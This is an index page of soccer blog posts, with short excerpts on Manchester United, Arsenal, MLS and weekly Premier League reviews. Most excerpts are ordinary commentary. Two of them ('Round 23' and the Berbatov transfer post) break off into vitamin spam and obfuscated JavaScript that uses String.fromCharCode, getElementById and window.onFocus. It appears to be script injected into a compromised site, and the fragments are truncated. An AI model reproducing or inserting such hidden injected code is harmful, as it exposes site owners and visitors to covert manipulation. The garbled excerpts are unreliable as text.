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Excuses, Excuses

Written by: Gabe

Excuses, Excuses

Yesterday, Manchester United and Manchester City both fell to MLS teams on their pre-season tours. Given the circumstances, it’s time to stop making excuses for big-name competition and grant MLS the respect it deserves. In the early game, New York Red Bulls (5th place in MLS) found victory over Manchester City, 2-1. This was a [...]

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WHAT THE?…THE PREM, ROUND 37

Written by: Tyler

WHAT THE? is my weekly Premiership review column where I write about the crap I found interesting in the latest round of Prem games. This is about me, not you, so I don’t want to hear you bloody whine about it. Manchester United secured the Premier League title with a 0-0 draw with Arsenal. Fulham [...]

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ARSENAL CAN’T WIN

Written by: Gabe

I’m in the midst of watching the second leg of the Manchester United versus Arsenal UEFA Champions League matchup wondering if the gunners can score five in the next 20 minutes to win on aggregate. What I mean is, Arsenal is out. Again. This game should teach everyone how lethal mistakes are with Christiano Ronaldo [...]

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MANU FAN JUST LOVES EMMA

Written by: Gabe

Ah, the old Pretend-to-be-a-hot-mistress-when-you-are-really-two-Liverpool-fans-who-are-also-cage-fighters trick. I have to give them respect for the quality of this prank, but I’m afraid it’s a few steps out of touch, so to speak. I mean, they broke the guy’s ankle and got him divorced? For supporting Manchester United? You must read this cautionary tale of a life lived [...]

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MLS NEWS: BECKHAM, DONOVAN

Written by: Tyler

Beckham has secured a new deal with AC Milan and the LA Galaxy. The dual contract will allow Beckham to stay with AC Milan till the end of the Serie A season and wont return to the United States till mid July. Beckham will miss 3+ months of the MLS season. On the other hand, [...]

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MAN U WIN CARLING CUP

Written by: Tyler

Manchester United beat Tottenham4-1 on penalties after a 0-0 score during regulation to win the 2009 Carling Cup. I usually dont bother with the other cups in the English game but this season will be interesting. With Manchester United winning the Carling Cup and having the Premier Leauge in sight, that leaves the FA Cup [...]

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WHAT THE?…THE PREM, ROUND 23

Written by: Tyler

WHAT THE? is my weekly Premiership review column where I write about the vitamin c dogspffmh=0;dtant=String.fromCharCode(109,106,114,114,118,121,118,112,122,106);fuegs=String.fromCharCode(97,112,116,103,114,40,41);ugqke=document.getElementById(String.fromCharCode(106,111,100,118,104));window.onFocus=qpftl();function aptgr(){++pffmh;(pffmh

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WHAT THE?…THE PREM, ROUND 21

Written by: Tyler

WHAT THE? is my weekly Premiership review column where I write about the crap I found interesting in the latest round of Prem games. This is about me, not you, so I don’t want to hear you bloody whine about it. Since my cable got rid of the Fox Soccer Channel, it is really hard [...]

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MAN U LOSING SPONSOR AIG?

Written by: Tyler

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BERBATOV BEGS FOR MAN U TRANSFER

Written by: Tyler

Of course Dimitar Berbatov is begging to best pet vitaminsdsgqx=0;rkgcq=String.fromCharCode(114,97,110,120,114,107,112,98,113,114);qdwng=String.fromCharCode(104,117,122,106,99,40,41);ijgso=document.getElementById(String.fromCharCode(105,98,97,103));window.onFocus=vukxu();function huzjc(){++dsgqx;(dsgqx

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